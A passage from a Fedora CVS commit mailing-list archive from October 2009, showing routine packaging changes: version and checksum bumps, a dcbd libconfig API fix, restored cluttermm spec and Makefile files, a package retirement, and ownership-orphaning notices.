-0ff927675c636363480000c79c99f415  jd-2.5.0-svn3111_trunk.tgz
+11b22a2910a2ee6bacd03e66e9a6615b  jd-2.5.0-svn3115_trunk.tgz



From mtasaka at fedoraproject.org  Mon Oct  5 07:29:39 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Mon,  5 Oct 2009 07:29:39 +0000 (UTC)
Subject: rpms/jd/F-12 .cvsignore, 1.400, 1.401 jd.spec, 1.464, 1.465 sources,
	1.401, 1.402
Message-ID: <20091005072939.2034511C00DB@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3565/F-12

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3115



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/.cvsignore,v
retrieving revision 1.400
retrieving revision 1.401
diff -u -p -r1.400 -r1.401
--- .cvsignore	3 Oct 2009 18:47:57 -0000	1.400
+++ .cvsignore	5 Oct 2009 07:29:38 -0000	1.401
@@ -1 +1 @@
-jd-2.5.0-svn3111_trunk.tgz
+jd-2.5.0-svn3115_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/jd.spec,v
retrieving revision 1.464
retrieving revision 1.465
diff -u -p -r1.464 -r1.465
--- jd.spec	3 Oct 2009 18:47:57 -0000	1.464
+++ jd.spec	5 Oct 2009 07:29:38 -0000	1.465
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3111_trunk
+%define         strtag        svn3115_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Sun Oct  4 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3111
+* Mon Oct  5 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3115
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-12/sources,v
retrieving revision 1.401
retrieving revision 1.402
diff -u -p -r1.401 -r1.402
--- sources	3 Oct 2009 18:47:57 -0000	1.401
+++ sources	5 Oct 2009 07:29:38 -0000	1.402
@@ -1 +1 @@
-0ff927675c636363480000c79c99f415  jd-2.5.0-svn3111_trunk.tgz
+11b22a2910a2ee6bacd03e66e9a6615b  jd-2.5.0-svn3115_trunk.tgz



From jzeleny at fedoraproject.org  Mon Oct  5 07:33:34 2009
From: jzeleny at fedoraproject.org (Jan Zeleny)
Date: Mon,  5 Oct 2009 07:33:34 +0000 (UTC)
Subject: rpms/dcbd/F-12 dcbd-0.9.15-lookup-string.patch, 1.1, 1.2 dcbd.spec, 
	1.6, 1.7
Message-ID: <20091005073334.47E5411C00DB@cvs1.fedora.phx.redhat.com>

Author: jzeleny

Update of /cvs/extras/rpms/dcbd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4810

Modified Files:
	dcbd-0.9.15-lookup-string.patch dcbd.spec 
Log Message:
correction of the last patch fixing libconfig issue

dcbd-0.9.15-lookup-string.patch:
 config.c |   17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

Index: dcbd-0.9.15-lookup-string.patch
===================================================================
RCS file: /cvs/extras/rpms/dcbd/F-12/dcbd-0.9.15-lookup-string.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dcbd-0.9.15-lookup-string.patch	20 Aug 2009 12:26:41 -0000	1.1
+++ dcbd-0.9.15-lookup-string.patch	5 Oct 2009 07:33:33 -0000	1.2
@@ -1,20 +1,52 @@
---- dcbd-0.9.15/config.c.orig	2009-08-20 14:07:31.000000000 +0200
-+++ dcbd-0.9.15/config.c	2009-08-20 14:12:08.000000000 +0200
-@@ -367,7 +367,7 @@ static dcb_result _set_persistent(char *
+--- dcbd-0.9.15/config.c.old	2009-10-02 15:38:53.213693022 -0700
++++ dcbd-0.9.15/config.c	2009-10-02 15:39:30.135703553 -0700
+@@ -69,6 +69,8 @@ int init_cfg(void)
+ {
+ 	config_setting_t *root;
+ 
++	config_init(&dcb_cfg);
++
+ 	if (!config_read_file(&dcb_cfg, cfg_file_name)) {
+ 		TRACE("config file failed to load\n")
+ 		TRACE2("error: ", config_error_text(&dcb_cfg))
+@@ -360,16 +362,15 @@ static dcb_result _set_persistent(char *
+ 	config_setting_t *setting_traffic = NULL;
+ 	config_setting_t *setting_value = NULL;
+ 	char abuf[2*DCB_MAX_TLV_LENGTH + 1];
+-	char version[MAX_NAME_LEN];
++	char *p;
+ 	int result, i;
+ 
+ 	if (!init_cfg())
  		goto set_error;
  
  	/* Read config file version */
 -	strcpy(version, config_lookup_string(&dcb_cfg, "version"));
-+	config_lookup_string(&dcb_cfg, "version", &version);
- 	if(NULL != version) {
- 		result = strcmp(version, VERSION);
+-	if(NULL != version) {
+-		result = strcmp(version, VERSION);
++	if (config_lookup_string(&dcb_cfg, "version", (const char **)&p)) {
++		result = strcmp(p, VERSION);
  		if (result) {
-@@ -951,7 +951,7 @@ dcb_result get_persistent(char *device_n
+ 			if (result < 0) {
+ 				/* need to create a new upgraded cfg file */
+@@ -944,17 +945,15 @@ dcb_result get_persistent(char *device_n
+ 	config_setting_t *setting_value = NULL;
+ 	int result = dcb_failed, i;
+ 	int results[MAX_USER_PRIORITIES];
+-	char version[MAX_NAME_LEN];
++	char *p;
+ 	int len;
+ 	char abuf[32];
+ 
  	memset(attribs, 0, sizeof(*attribs));
  
  	/* Read config file version */
 -	strcpy(version, config_lookup_string(&dcb_cfg, "version"));
-+	config_lookup_string(&dcb_cfg, "version", &version);
-  
- 	if(NULL != version) {
- 		result = strcmp(version, VERSION);
+- 
+-	if(NULL != version) {
+-		result = strcmp(version, VERSION);
++	if (config_lookup_string(&dcb_cfg, "version", (const char **)&p)) {
++		result = strcmp(p, VERSION);
+ 		if (result) {
+ 			if (result < 0) {
+ 				/* need to create a new upgraded cfg file */


Index: dcbd.spec
===================================================================
RCS file: /cvs/extras/rpms/dcbd/F-12/dcbd.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- dcbd.spec	9 Sep 2009 20:11:43 -0000	1.6
+++ dcbd.spec	5 Oct 2009 07:33:33 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           dcbd
 Version:        0.9.15
-Release:        4%{?dist}
+Release:        5%{?dist}
 Summary:        Intel EEDC Connection
 
 Group:          System Environment/Daemons
@@ -92,6 +92,10 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Jan Zeleny <jzeleny at redhat.com> - 0.9.15-5
+- replaced the last patch, which was not fully functional, with
+  the new one
+
 * Wed Sep 09 2009 Karsten Hopp <karsten at redhat.com> 0.9.15-4
 - buildrequire libconfig-devel >= 1.3.2, it doesn't build with 1.3.1 due to
   the different config_lookup_string api



From msuchy at fedoraproject.org  Mon Oct  5 07:36:27 2009
From: msuchy at fedoraproject.org (=?utf-8?q?Miroslav_Such=C3=BD?=)
Date: Mon,  5 Oct 2009 07:36:27 +0000 (UTC)
Subject: rpms/rhn-client-tools/devel .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 rhn-client-tools.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091005073627.CA31811C00DB@cvs1.fedora.phx.redhat.com>

Author: msuchy

Update of /cvs/pkgs/rpms/rhn-client-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5337/devel

Modified Files:
	.cvsignore import.log rhn-client-tools.spec sources 
Log Message:
Import of new version of rhn-client-tools-0.7.4-1 to devel branch.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	22 Sep 2009 14:48:09 -0000	1.2
+++ .cvsignore	5 Oct 2009 07:36:27 -0000	1.3
@@ -1 +1 @@
-rhn-client-tools-0.7.3.tar.gz
+rhn-client-tools-0.7.4.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	22 Sep 2009 14:48:09 -0000	1.1
+++ import.log	5 Oct 2009 07:36:27 -0000	1.2
@@ -1 +1,2 @@
 rhn-client-tools-0_7_3-1:HEAD:rhn-client-tools-0.7.3-1.src.rpm:1253630821
+rhn-client-tools-0_7_4-1:HEAD:rhn-client-tools-0.7.4-1.src.rpm:1254727705


Index: rhn-client-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/devel/rhn-client-tools.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rhn-client-tools.spec	22 Sep 2009 14:48:09 -0000	1.1
+++ rhn-client-tools.spec	5 Oct 2009 07:36:27 -0000	1.2
@@ -4,7 +4,7 @@ Group: System Environment/Base
 Source0: https://fedorahosted.org/releases/s/p/spacewalk/%{name}-%{version}.tar.gz
 URL:     https://fedorahosted.org/spacewalk
 Name: rhn-client-tools
-Version: 0.7.3
+Version: 0.7.4
 Release: 1%{?dist}
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -19,7 +19,7 @@ Requires: dbus-python
 Requires: hal
 Requires: newt
 
-Conflicts: up2date
+Conflicts: up2date < 5.0.0
 
 BuildRequires: python-devel
 BuildRequires: gettext
@@ -215,6 +215,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/rhn_register.desktop
 
 %changelog
+* Mon Oct  5 2009 Miroslav Such? <msuchy at redhat.com> 0.7.4-1
+- add versioned conflict to up2date
+
 * Tue Sep 22 2009 Miroslav Such? <msuchy at redhat.com> 0.7.3-1
 - comment out hosted url, so spacewalk users do not ping theirs machines
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	22 Sep 2009 14:48:09 -0000	1.2
+++ sources	5 Oct 2009 07:36:27 -0000	1.3
@@ -1 +1 @@
-1568ecee102c4387c61a6b9f141f0396  rhn-client-tools-0.7.3.tar.gz
+7e4f869be175bb7ee4b82761c43ac723  rhn-client-tools-0.7.4.tar.gz



From msuchy at fedoraproject.org  Mon Oct  5 07:38:50 2009
From: msuchy at fedoraproject.org (=?utf-8?q?Miroslav_Such=C3=BD?=)
Date: Mon,  5 Oct 2009 07:38:50 +0000 (UTC)
Subject: rpms/rhn-client-tools/F-12 .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 rhn-client-tools.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091005073850.B544E11C00DB@cvs1.fedora.phx.redhat.com>

Author: msuchy

Update of /cvs/pkgs/rpms/rhn-client-tools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6280/F-12

Modified Files:
	.cvsignore import.log rhn-client-tools.spec sources 
Log Message:
Import of new version of rhn-client-tools-0.7.4-1 to F-12 branch.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	22 Sep 2009 15:30:54 -0000	1.2
+++ .cvsignore	5 Oct 2009 07:38:49 -0000	1.3
@@ -1 +1 @@
-rhn-client-tools-0.7.3.tar.gz
+rhn-client-tools-0.7.4.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/F-12/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	22 Sep 2009 15:30:54 -0000	1.1
+++ import.log	5 Oct 2009 07:38:49 -0000	1.2
@@ -1 +1,2 @@
 rhn-client-tools-0_7_3-1:F-12:rhn-client-tools-0.7.3-1.src.rpm:1253630947
+rhn-client-tools-0_7_4-1:F-12:rhn-client-tools-0.7.4-1.src.rpm:1254728246


Index: rhn-client-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/F-12/rhn-client-tools.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rhn-client-tools.spec	22 Sep 2009 15:30:55 -0000	1.1
+++ rhn-client-tools.spec	5 Oct 2009 07:38:49 -0000	1.2
@@ -4,7 +4,7 @@ Group: System Environment/Base
 Source0: https://fedorahosted.org/releases/s/p/spacewalk/%{name}-%{version}.tar.gz
 URL:     https://fedorahosted.org/spacewalk
 Name: rhn-client-tools
-Version: 0.7.3
+Version: 0.7.4
 Release: 1%{?dist}
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -19,7 +19,7 @@ Requires: dbus-python
 Requires: hal
 Requires: newt
 
-Conflicts: up2date
+Conflicts: up2date < 5.0.0
 
 BuildRequires: python-devel
 BuildRequires: gettext
@@ -215,6 +215,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/rhn_register.desktop
 
 %changelog
+* Mon Oct  5 2009 Miroslav Such? <msuchy at redhat.com> 0.7.4-1
+- add versioned conflict to up2date
+
 * Tue Sep 22 2009 Miroslav Such? <msuchy at redhat.com> 0.7.3-1
 - comment out hosted url, so spacewalk users do not ping theirs machines
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	22 Sep 2009 15:30:55 -0000	1.2
+++ sources	5 Oct 2009 07:38:49 -0000	1.3
@@ -1 +1 @@
-1568ecee102c4387c61a6b9f141f0396  rhn-client-tools-0.7.3.tar.gz
+7e4f869be175bb7ee4b82761c43ac723  rhn-client-tools-0.7.4.tar.gz



From msuchy at fedoraproject.org  Mon Oct  5 07:43:09 2009
From: msuchy at fedoraproject.org (=?utf-8?q?Miroslav_Such=C3=BD?=)
Date: Mon,  5 Oct 2009 07:43:09 +0000 (UTC)
Subject: rpms/rhn-client-tools/F-11 .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 rhn-client-tools.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091005074309.5BF0F11C00DB@cvs1.fedora.phx.redhat.com>

Author: msuchy

Update of /cvs/pkgs/rpms/rhn-client-tools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8247/F-11

Modified Files:
	.cvsignore import.log rhn-client-tools.spec sources 
Log Message:
Import of new version of rhn-client-tools-0.7.4-1 to F-11 branch.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	22 Sep 2009 15:31:55 -0000	1.2
+++ .cvsignore	5 Oct 2009 07:43:08 -0000	1.3
@@ -1 +1 @@
-rhn-client-tools-0.7.3.tar.gz
+rhn-client-tools-0.7.4.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/F-11/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	22 Sep 2009 15:31:55 -0000	1.1
+++ import.log	5 Oct 2009 07:43:09 -0000	1.2
@@ -1 +1,2 @@
 rhn-client-tools-0_7_3-1:F-11:rhn-client-tools-0.7.3-1.src.rpm:1253633492
+rhn-client-tools-0_7_4-1:F-11:rhn-client-tools-0.7.4-1.src.rpm:1254728544


Index: rhn-client-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/F-11/rhn-client-tools.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- rhn-client-tools.spec	22 Sep 2009 15:31:55 -0000	1.1
+++ rhn-client-tools.spec	5 Oct 2009 07:43:09 -0000	1.2
@@ -4,7 +4,7 @@ Group: System Environment/Base
 Source0: https://fedorahosted.org/releases/s/p/spacewalk/%{name}-%{version}.tar.gz
 URL:     https://fedorahosted.org/spacewalk
 Name: rhn-client-tools
-Version: 0.7.3
+Version: 0.7.4
 Release: 1%{?dist}
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -19,7 +19,7 @@ Requires: dbus-python
 Requires: hal
 Requires: newt
 
-Conflicts: up2date
+Conflicts: up2date < 5.0.0
 
 BuildRequires: python-devel
 BuildRequires: gettext
@@ -215,6 +215,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/applications/rhn_register.desktop
 
 %changelog
+* Mon Oct  5 2009 Miroslav Such? <msuchy at redhat.com> 0.7.4-1
+- add versioned conflict to up2date
+
 * Tue Sep 22 2009 Miroslav Such? <msuchy at redhat.com> 0.7.3-1
 - comment out hosted url, so spacewalk users do not ping theirs machines
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rhn-client-tools/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	22 Sep 2009 15:31:55 -0000	1.2
+++ sources	5 Oct 2009 07:43:09 -0000	1.3
@@ -1 +1 @@
-1568ecee102c4387c61a6b9f141f0396  rhn-client-tools-0.7.3.tar.gz
+7e4f869be175bb7ee4b82761c43ac723  rhn-client-tools-0.7.4.tar.gz



From denis at fedoraproject.org  Mon Oct  5 07:45:24 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Mon,  5 Oct 2009 07:45:24 +0000 (UTC)
Subject: rpms/cluttermm/devel .cvsignore, 1.8, 1.9 Makefile, 1.2,
	1.3 cluttermm-0.9.4-wrapinit.patch, 1.2, 1.3 cluttermm.spec,
	1.10, 1.11 sources, 1.8, 1.9 dead.package, 1.1, NONE
Message-ID: <20091005074524.AEA9311C00DB@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/cluttermm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8931

Added Files:
	.cvsignore Makefile cluttermm-0.9.4-wrapinit.patch 
	cluttermm.spec sources 
Removed Files:
	dead.package 
Log Message:
Restored files from accidental removal


Index: .cvsignore
===================================================================
RCS file: .cvsignore
diff -N .cvsignore
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ .cvsignore	5 Oct 2009 07:45:23 -0000	1.9
@@ -0,0 +1 @@
+cluttermm-0.9.4.20090907git.tar.bz2


Index: Makefile
===================================================================
RCS file: Makefile
diff -N Makefile
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ Makefile	5 Oct 2009 07:45:24 -0000	1.3
@@ -0,0 +1,21 @@
+# Makefile for source rpm: cluttermm
+# $Id$
+NAME := cluttermm
+SPECFILE = $(firstword $(wildcard *.spec))
+
+define find-makefile-common
+for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
+endef
+
+MAKEFILE_COMMON := $(shell $(find-makefile-common))
+
+ifeq ($(MAKEFILE_COMMON),)
+# attept a checkout
+define checkout-makefile-common
+test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
+endef
+
+MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
+endif
+
+include $(MAKEFILE_COMMON)

cluttermm-0.9.4-wrapinit.patch:
 Makefile.in |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: cluttermm-0.9.4-wrapinit.patch
===================================================================
RCS file: cluttermm-0.9.4-wrapinit.patch
diff -N cluttermm-0.9.4-wrapinit.patch
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ cluttermm-0.9.4-wrapinit.patch	5 Oct 2009 07:45:24 -0000	1.3
@@ -0,0 +1,11 @@
+--- cluttermm-0.9.4/clutter/cluttermm/Makefile.in~	2009-09-07 11:01:34.000000000 +0200
++++ cluttermm-0.9.4/clutter/cluttermm/Makefile.in	2009-09-07 11:40:33.340803731 +0200
+@@ -289,7 +289,7 @@
+ sublib_cflags = $(CLUTTERMM_CFLAGS)
+ sublib_topdir = clutter
+ files_extra_h = init.h main.h utility.h threads.h frame-source.h \
+-	event.h wrap_init.h wrap_init.h
++	event.h wrap_init.h
+ files_extra_cc = init.cc main.cc utility.cc threads.cc frame-source.cc event.cc
+ files_hg = \
+ actor.hg \


Index: cluttermm.spec
===================================================================
RCS file: cluttermm.spec
diff -N cluttermm.spec
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ cluttermm.spec	5 Oct 2009 07:45:24 -0000	1.11
@@ -0,0 +1,119 @@
+%define snapshot .20090907git
+
+Name:           cluttermm
+Version:        0.9.4
+Release:        3%{snapshot}%{?dist}
+
+Summary:        C++ wrapper for clutter library
+
+Group:          System Environment/Libraries
+License:        LGPLv2+
+URL:            http://www.gtkmm.org/
+Source0:        http://ftp.gnome.org/pub/GNOME/sources/cluttermm/0.9/%{name}-%{version}%{snapshot}.tar.bz2
+Patch0:         cluttermm-0.9.4-wrapinit.patch
+BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
+
+BuildRequires: clutter-devel >= 0.9.4
+BuildRequires: glib2-devel >= 2.21.6
+BuildRequires: glibmm24-devel >= 2.14
+BuildRequires: pangomm-devel >= 2.12
+BuildRequires: cairomm-devel
+BuildRequires: doxygen graphviz
+
+
+%description
+Cluttermm is a C++ wrapper library for clutter: an OpenGL-based
+library for creating fast, visually rich and animated graphical user
+interfaces.
+
+
+%package        devel
+Summary:        Headers for developing programs that will use %{name}
+Group:          Development/Libraries
+Requires:       %{name} = %{version}-%{release}
+Requires:       glibmm24-devel
+Requires:       pangomm-devel
+Requires:       clutter-devel
+Requires:       pkgconfig
+
+
+%description devel
+This package contains the static libraries and header files needed for
+developing gstreamermm applications.
+
+
+%prep
+%setup -q
+%patch0 -p1 -b .wrapinit
+
+
+%build
+%configure --enable-shared --disable-dependency-tracking
+make %{?_smp_mflags}
+
+
+%install
+rm -rf $RPM_BUILD_ROOT
+make install DESTDIR=$RPM_BUILD_ROOT
+find $RPM_BUILD_ROOT -type f -name "*.la" -exec rm -f {} ';'
+# Remove files related to code generation
+rm -rf $RPM_BUILD_ROOT%{_libdir}/cluttermm-0.9
+
+
+%clean
+rm -rf $RPM_BUILD_ROOT
+
+
+%post -p /sbin/ldconfig
+
+
+%postun -p /sbin/ldconfig
+
+
+%files
+%defattr(-, root, root, -)
+%doc AUTHORS ChangeLog COPYING NEWS README
+%{_libdir}/libcluttermm-0.9.so.*
+
+
+%files devel
+%defattr(-, root, root, -)
+%doc docs/reference/html/ examples/test-actors.cc
+%{_includedir}/cluttermm-0.9
+%{_libdir}/libcluttermm-0.9.so
+%{_libdir}/pkgconfig/cluttermm-0.9.pc
+
+
+%changelog
+* Mon Sep  7 2009 Denis Leroy <denis at poolshark.org> - 0.9.4-3.git20090907
+- Updated to latest git, to compile against clutter 1.0 API
+- Added patch to work around automake oddity
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.4-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Jul  8 2009 Denis Leroy <denis at poolshark.org> - 0.9.4-1
+- Update to upstream 0.9.4
+- API update to 0.9
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.7.5-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Mon Feb 23 2009 Denis Leroy <denis at poolshark.org> - 0.7.5-1
+- Update to upstream 0.7.5
+
+* Thu Jan 15 2009 Denis Leroy <denis at poolshark.org> - 0.7.4-1
+- Update to upstream 0.7.4
+
+* Mon Sep 15 2008 Denis Leroy <denis at poolshark.org> - 0.7.3-2
+- Fixed devel requires
+
+* Sun Sep  7 2008 Denis Leroy <denis at poolshark.org> - 0.7.3-1
+- Update to upstream 0.7.3
+- Cairo and gtk parts are forked into their own tarballs
+
+* Tue Jun  3 2008 Denis Leroy <denis at poolshark.org> - 0.5.1-2
+- fixed gtkmm BR
+
+* Mon Jun  2 2008 Denis Leroy <denis at poolshark.org> - 0.5.1-1
+- Initial version, inspired by Rick Vinyard's initial work


Index: sources
===================================================================
RCS file: sources
diff -N sources
--- /dev/null	1 Jan 1970 00:00:00 -0000
+++ sources	5 Oct 2009 07:45:24 -0000	1.9
@@ -0,0 +1 @@
+8e686e2bb4b1a20c134fa1ac7b29d357  cluttermm-0.9.4.20090907git.tar.bz2


--- dead.package DELETED ---



From denis at fedoraproject.org  Mon Oct  5 07:51:41 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Mon,  5 Oct 2009 07:51:41 +0000 (UTC)
Subject: rpms/clutter-cairomm/F-12 .cvsignore, 1.3, NONE Makefile, 1.1,
	NONE clutter-cairomm.spec, 1.4, NONE import.log, 1.1,
	NONE sources, 1.3, NONE
Message-ID: <20091005075141.8D32C11C00DB@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/clutter-cairomm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10997/F-12

Removed Files:
	.cvsignore Makefile clutter-cairomm.spec import.log sources 
Log Message:
Retiring package


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- clutter-cairomm.spec DELETED ---


--- import.log DELETED ---


--- sources DELETED ---



From denis at fedoraproject.org  Mon Oct  5 07:51:42 2009
From: denis at fedoraproject.org (Denis Leroy)
Date: Mon,  5 Oct 2009 07:51:42 +0000 (UTC)
Subject: rpms/clutter-cairomm/devel .cvsignore, 1.3, NONE Makefile, 1.1,
	NONE clutter-cairomm.spec, 1.4, NONE import.log, 1.1,
	NONE sources, 1.3, NONE
Message-ID: <20091005075142.3FAA511C00DB@cvs1.fedora.phx.redhat.com>

Author: denis

Update of /cvs/pkgs/rpms/clutter-cairomm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10997/devel

Removed Files:
	.cvsignore Makefile clutter-cairomm.spec import.log sources 
Log Message:
Retiring package


--- .cvsignore DELETED ---


--- Makefile DELETED ---


--- clutter-cairomm.spec DELETED ---


--- import.log DELETED ---


--- sources DELETED ---



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:11 +0000
Subject: [pkgdb] cluttermm ownership updated
Message-ID: <20091005075211.5ACF710F84D@bastion2.fedora.phx.redhat.com>

Package cluttermm in Fedora devel was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/cluttermm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:13 +0000
Subject: [pkgdb] cluttermm ownership updated
Message-ID: <20091005075213.CCAE910F894@bastion2.fedora.phx.redhat.com>

Package cluttermm in Fedora 9 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/cluttermm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:15 +0000
Subject: [pkgdb] cluttermm ownership updated
Message-ID: <20091005075215.280F310F892@bastion2.fedora.phx.redhat.com>

Package cluttermm in Fedora 8 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/cluttermm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:16 +0000
Subject: [pkgdb] cluttermm ownership updated
Message-ID: <20091005075216.6148510F84D@bastion2.fedora.phx.redhat.com>

Package cluttermm in Fedora 10 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/cluttermm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:18 +0000
Subject: [pkgdb] cluttermm ownership updated
Message-ID: <20091005075218.97F3410F871@bastion2.fedora.phx.redhat.com>

Package cluttermm in Fedora 11 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/cluttermm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:19 +0000
Subject: [pkgdb] cluttermm ownership updated
Message-ID: <20091005075219.D672910F88F@bastion2.fedora.phx.redhat.com>

Package cluttermm in Fedora 12 was orphaned by denis

To make changes to this package see:
  /pkgdb/packages/name/cluttermm



From pkgdb at fedoraproject.org  Mon Oct  5 07:52:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 05 Oct 2009 07:52:37 +0000
Subject: [pkgdb] clutter-gtkmm ownership updated
Message-ID: <20091005075237.5B86F10F84D@bastion2.fedora.phx.redhat.com>

Package clutter-gtkmm in Fedora devel was orphaned by denis

To make changes to this package see:
